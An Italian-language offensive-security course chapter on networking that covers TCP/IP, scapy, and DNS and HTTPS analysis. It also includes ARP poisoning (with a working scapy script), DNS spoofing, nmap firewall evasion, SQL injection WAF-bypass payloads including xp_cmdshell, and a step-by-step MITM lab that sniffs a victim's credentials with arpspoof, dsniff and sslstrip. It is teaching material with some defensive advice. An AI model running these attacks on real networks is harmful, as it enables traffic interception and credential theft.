Reti & protocolli
10 min read

Reti e protocolli avanzati

TCP/IP in profondità, MITM, DNS, HTTP, evasione di firewall e IDS.

rete
tcp-ip
mitm
dns

Livello: Intermedio → Avanzato
Obiettivo: Comprendere TCP/IP in profondità, analizzare il traffico, eseguire attacchi MITM, eludere firewall e IDS.


1. Il Modello TCP/IP in Profondità

1.1 Stack di rete — revisione critica

Applicazione  →  HTTP, HTTPS, DNS, FTP, SSH, SMTP
Trasporto     →  TCP, UDP
Rete          →  IP, ICMP, ARP
Accesso       →  Ethernet, Wi-Fi (802.11)

Dal punto di vista offensivo, ogni layer offre vettori di attacco distinti.

1.2 TCP — Three-Way Handshake e stati

Client          Server
  |--- SYN ------->|   SEQ=x
  |<-- SYN-ACK ----|   SEQ=y, ACK=x+1
  |--- ACK ------->|   ACK=y+1
  |=== CONNESSIONE STABILITA ===|
  
  |--- FIN ------->|   chiusura
  |<-- ACK --------|
  |<-- FIN --------|
  |--- ACK ------->|

Flags TCP:

FlagSignificatoUso offensivo
SYNInizia connessionePort scanning (SYN scan)
ACKAcknowledgmentACK scan per bypass firewall
FINChiude connessioneFIN scan stealth
RSTReset immediatoPort chiusa, reset forzato
PSHPush dati subitoForza flush buffer
URGDati urgentiRaramente usato
NULLNessun flagNULL scan stealth
XMASFIN+PSH+URGXMAS scan

1.3 Analisi con scapy

Scapy è la libreria Python fondamentale per creare pacchetti raw:

from scapy.all import *

# Creare e inviare un pacchetto ICMP (ping)
pkt = IP(dst="192.168.1.1") / ICMP()
resp = sr1(pkt, timeout=2)
resp.show()

# SYN scan manuale
pkt = IP(dst="192.168.1.10") / TCP(dport=80, flags="S")
resp = sr1(pkt, timeout=1)
if resp and resp.haslayer(TCP):
    if resp[TCP].flags == 0x12:  # SYN-ACK
        print("Porta 80: APERTA")
        # Inviare RST per non completare la connessione
        send(IP(dst="192.168.1.10") / TCP(dport=80, flags="R"))

# ARP request
pkt = ARP(pdst="192.168.1.1")
resp = sr1(pkt, timeout=2)
print(f"MAC: {resp.hwsrc}")

# Cattura pacchetti con filtro
sniff(filter="tcp port 80", count=10, prn=lambda p: p.show())

2. ARP e Attacchi Layer 2

2.1 ARP Poisoning (ARP Spoofing)

ARP (Address Resolution Protocol) non ha autenticazione: chiunque può mandare risposte ARP false.

Come funziona:

Rete legittima:
  Vittima (192.168.1.5)  ←→  Router (192.168.1.1)
  
Dopo ARP poisoning:
  Vittima → crede che il MAC del router sia il nostro
  Router  → crede che il MAC della vittima sia il nostro
  
  Vittima  →  Attaccante  →  Router  (tutto passa per noi)
# Attacco MITM con arpspoof
sudo arpspoof -i eth0 -t 192.168.1.5 192.168.1.1   # avvelenare vittima
sudo arpspoof -i eth0 -t 192.168.1.1 192.168.1.5   # avvelenare router (finestra separata)

# Abilitare forwarding per non bloccare il traffico
sudo sysctl -w net.ipv4.ip_forward=1

# Alternativa: ettercap (GUI e CLI)
sudo ettercap -T -q -i eth0 -M arp:remote /192.168.1.5// /192.168.1.1//

2.2 ARP Poisoning con Scapy

from scapy.all import *
import time

def get_mac(ip):
    arp = ARP(pdst=ip)
    answered, _ = sr(arp, timeout=2)
    return answered[0][1].hwsrc

def poison(target_ip, spoof_ip):
    target_mac = get_mac(target_ip)
    pkt = ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
    send(pkt, verbose=False)

victim = "192.168.1.5"
router = "192.168.1.1"

print("[*] Avvio ARP poisoning...")
while True:
    poison(victim, router)
    poison(router, victim)
    time.sleep(2)

2.3 Difesa da ARP Spoofing

# ARP statico (non modificabile)
sudo arp -s 192.168.1.1 aa:bb:cc:dd:ee:ff

# Rilevazione con arpwatch
sudo apt install arpwatch
sudo systemctl start arpwatch

# Analisi in Wireshark: filtro ARP duplicati
# filtro: arp.duplicate-address-detected

3. DNS — Attacchi e Analisi

3.1 Funzionamento DNS

Browser chiede: www.target.com → IP?

1. Cache locale (/etc/hosts, cache del browser)
2. Resolver del sistema → /etc/resolv.conf
3. DNS Resolver ISP
4. Root Nameserver (13 cluster globali)
5. TLD Nameserver (.com, .it, etc.)
6. Authoritative Nameserver di target.com
   → Risponde: 93.184.216.34

3.2 Enumerazione DNS

# Interrogazioni base
nslookup target.com 8.8.8.8
dig target.com A             # record A (IPv4)
dig target.com MX            # mail server
dig target.com NS            # nameserver
dig target.com TXT           # record testuali (SPF, DKIM, etc.)
dig target.com AAAA          # record IPv6
dig -x 93.184.216.34         # reverse lookup

# Zone transfer (se mal configurato, rivela TUTTI i record)
dig axfr @ns1.target.com target.com
dnsrecon -d target.com -t axfr

# Brute force sottodomini
dnsrecon -d target.com -D /usr/share/wordlists/dnsmap.txt -t brt
amass enum -d target.com -brute -w /usr/share/wordlists/seclists/Discovery/DNS/namelist.txt
subfinder -d target.com -o subdomains.txt

3.3 DNS Spoofing e Cache Poisoning

# DNS Spoofing con ettercap
# Crea file dns_spoof.conf:
# *.target.com A 192.168.1.100
# target.com A 192.168.1.100

sudo ettercap -T -q -i eth0 -M arp:remote /192.168.1.5// /192.168.1.1// \
  -P dns_spoof

# Con dnschef (fake DNS server)
sudo dnschef --fakeip 192.168.1.100 --fakedomains target.com --interface eth0

4. HTTP/HTTPS in Profondità

4.1 Struttura richiesta/risposta HTTP

GET /login HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0 ...
Accept: text/html,application/xhtml+xml
Cookie: session=abc123; token=xyz
Connection: keep-alive

---

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Set-Cookie: session=newvalue; HttpOnly; Secure; SameSite=Strict
X-Frame-Options: DENY
Content-Security-Policy: default-src 'self'

Header di sicurezza importanti (lato difensivo):

HeaderProtezione
HttpOnly cookieImpedisce accesso via JS (XSS)
Secure cookieSolo via HTTPS
X-Frame-Options: DENYAnti-clickjacking
HSTSForza HTTPS
CSPLimita script eseguibili

4.2 SSL/TLS — Analisi del certificato

# Analisi del certificato SSL
openssl s_client -connect target.com:443 -showcerts

# testssl.sh — audit completo TLS
./testssl.sh target.com

# sslyze
sslyze target.com

# Vulnerabilità TLS da cercare
# - SSLv2/SSLv3 abilitati (POODLE)
# - TLS 1.0 (BEAST)
# - Cipher suite deboli (RC4, DES, NULL)
# - Heartbleed (OpenSSL <= 1.0.1f)
# - DROWN (SSLv2 condiviso con altri servizi)

# Heartbleed test
nmap --script ssl-heartbleed -p 443 target.com

4.3 Intercettazione HTTPS con mitmproxy

# Avviare mitmproxy (proxy trasparente su porta 8080)
mitmproxy --listen-port 8080

# Configurare il browser/sistema con proxy 127.0.0.1:8080
# Installare il certificato CA di mitmproxy per decriptare HTTPS:
# http://mitm.it

# mitmweb — interfaccia web
mitmweb --listen-port 8080 --web-port 8081

# mitmdump — versione CLI/scripting
mitmdump -w output.pcap  # salva su file

5. Firewall Evasion e IDS Bypass

5.1 Tecniche di evasion con nmap

# Frammentazione pacchetti (bypass firewall stateless)
sudo nmap -f target.com

# Decoy scan (sembra arrivare da più IP)
sudo nmap -D RND:10 target.com        # 10 IP casuali come decoy
sudo nmap -D 10.0.0.1,10.0.0.2,ME target.com  # decoy specifici

# Spoof dell'IP sorgente (attenzione: non ricevi le risposte)
sudo nmap -S 10.0.0.5 -e eth0 target.com

# Cambio porta sorgente (bypass alcune regole firewall)
sudo nmap --source-port 53 target.com   # simula DNS query
sudo nmap --source-port 443 target.com  # simula HTTPS

# Rallentamento scan (evita detection rate-based)
sudo nmap -T0 target.com   # Paranoid: 5 min tra probe
sudo nmap -T1 target.com   # Sneaky: 15 sec tra probe

# Random data padding
sudo nmap --data-length 25 target.com

# Scan via zombie (idle scan — massimo stealth)
# 1. Trovare uno zombie (host con IP ID prevedibile)
sudo nmap -O -v 192.168.1.200  # cerca IP ID incrementale
# 2. Lanciare idle scan
sudo nmap -sI 192.168.1.200 target.com

5.2 Analisi regole firewall

# Capire le regole iptables su un Linux compromesso
sudo iptables -L -n -v
sudo iptables -t nat -L -n -v  # regole NAT

# nftables (sostituto moderno di iptables)
sudo nft list ruleset

# Tunneling su porta 443 (bypass firewall che blocca tutto tranne HTTPS)
# Lato server (target):
ssh -L 0.0.0.0:443:localhost:22 user@localhost

# Lato attaccante:
ssh -p 443 user@target.com

# ICMP tunneling (bypassa firewall che blocca TCP/UDP ma permette ping)
sudo ptunnel -p gateway.target.com -lp 8000 -da internal.host -dp 22

5.3 WAF Detection e Bypass

# Rilevare WAF
wafw00f http://target.com

# Bypass WAF comuni nelle iniezioni:
# Invece di: ' OR '1'='1
# Provare: ' OR '1'='1'--         (commento SQL)
#          ' oR '1'='1            (case mixing)
#          '%27 OR%20%271%27=%271 (URL encoding)
#          '/**/OR/**/1=1--       (commenti inline)
#          '; EXEC xp_cmdshell('whoami')--

# sqlmap con tecniche di bypass WAF
sqlmap -u "http://target.com/page?id=1" --tamper=space2comment,between,randomcase

6. VPN e Tunneling

6.1 SSH Tunneling

SSH è uno strumento estremamente versatile per il tunneling:

# Local port forwarding
# Rendi accessibile localmente un servizio remoto
ssh -L 8080:internal.server:80 user@jumphost.com
# → http://localhost:8080 → internal.server:80 (attraverso jumphost)

# Remote port forwarding
# Esponi un servizio locale verso il server remoto
ssh -R 9090:localhost:3000 user@public-server.com
# → public-server.com:9090 → localhost:3000

# Dynamic port forwarding (SOCKS proxy)
ssh -D 1080 user@server.com
# Configura browser/proxychains su localhost:1080

# Jump host (pivot)
ssh -J user@jumphost.com user@internal.server

# Mantieni il tunnel attivo
ssh -N -f -L 8080:internal.server:80 user@jumphost.com
# -N = no comando remoto, -f = background

6.2 Chirotocolla VPN

# WireGuard — VPN moderna, velocissima
sudo apt install wireguard

# Generare chiavi
wg genkey | tee privatekey | wg pubkey > publickey

# Configurazione base (/etc/wireguard/wg0.conf)
cat << EOF > /etc/wireguard/wg0.conf
[Interface]
PrivateKey = $(cat privatekey)
Address = 10.0.0.1/24
ListenPort = 51820

[Peer]
PublicKey = <chiave_pubblica_peer>
AllowedIPs = 10.0.0.2/32
EOF

sudo wg-quick up wg0
sudo wg show

7. Analisi traffico avanzata

7.1 Ricostruzione sessioni TCP con Wireshark

1. Apri il pcap in Wireshark
2. Click destro su un pacchetto TCP → "Follow TCP Stream"
3. Vedi l'intera conversazione in chiaro
4. Statistics → Conversations → TCP per una panoramica
5. Statistics → HTTP → Requests per vedere le richieste web

7.2 Analisi con tshark (CLI di Wireshark)

# Statistiche protocolli
tshark -r capture.pcap -q -z io,phs

# Estrarre URL HTTP
tshark -r capture.pcap -Y "http.request" -T fields \
  -e ip.src -e http.host -e http.request.uri

# Estrarre credenziali FTP/telnet in chiaro
tshark -r capture.pcap -Y "ftp.request.command == USER || ftp.request.command == PASS"

# Seguire stream specifico
tshark -r capture.pcap -Y "tcp.stream == 0" -T fields -e data.data

# Statistiche conversazioni
tshark -r capture.pcap -q -z conv,tcp

7.3 Zeek (ex Bro) — Analisi avanzata

# Analizzare un pcap con Zeek
zeek -r capture.pcap

# Genera automaticamente:
# conn.log    → tutte le connessioni
# http.log    → richieste HTTP
# dns.log     → query DNS
# ssl.log     → connessioni SSL/TLS
# files.log   → file trasferiti

# Analisi dei log
cat conn.log | zeek-cut id.orig_h id.resp_h id.resp_p proto duration | head -20
cat http.log | zeek-cut ts method host uri | grep "POST"

8. Lab Pratico — MITM completo

Scenario: Sei nella stessa rete di una vittima. Vuoi intercettarne il traffico HTTP.

# Setup iniziale
sudo sysctl -w net.ipv4.ip_forward=1

# Step 1: Scopri IP della vittima e del gateway
sudo arp-scan --localnet | grep -v "DUP"
# Esempio: vittima = 192.168.1.5, gateway = 192.168.1.1

# Step 2: ARP poisoning
sudo arpspoof -i eth0 -t 192.168.1.5 192.168.1.1 &
sudo arpspoof -i eth0 -t 192.168.1.1 192.168.1.5 &

# Step 3: Cattura il traffico
sudo tcpdump -i eth0 host 192.168.1.5 -w victim_traffic.pcap &

# Step 4: Sniffa credenziali in chiaro
sudo dsniff -i eth0    # FTP, telnet, HTTP basic auth, etc.

# Step 5: (Opzionale) Intercetta HTTPS con SSLstrip
sudo sslstrip -l 8080 &
sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080

# Step 6: Analisi del pcap
wireshark victim_traffic.pcap

# Pulizia finale
sudo iptables -F
sudo iptables -t nat -F
pkill arpspoof
pkill tcpdump

Quiz di autoverifica

  1. Cosa succede se non abiliti ip_forward=1 durante un attacco MITM?
  2. Perché il NULL scan e XMAS scan non funzionano su Windows?
  3. Come funziona un idle scan e perché è così stealth?
  4. Qual è la differenza tra DNS Spoofing e DNS Cache Poisoning?
  5. Spiega il local vs remote port forwarding SSH con un esempio pratico.

Precedente: 01 — Kali Linux
Prossimo: 03 — Penetration Testing

Continua a leggere

Penetration testing: metodologia e fasi

Da ricognizione a exploitation a post-exploitation, l'intero ciclo di un pentest professionale.

Vai al capitolo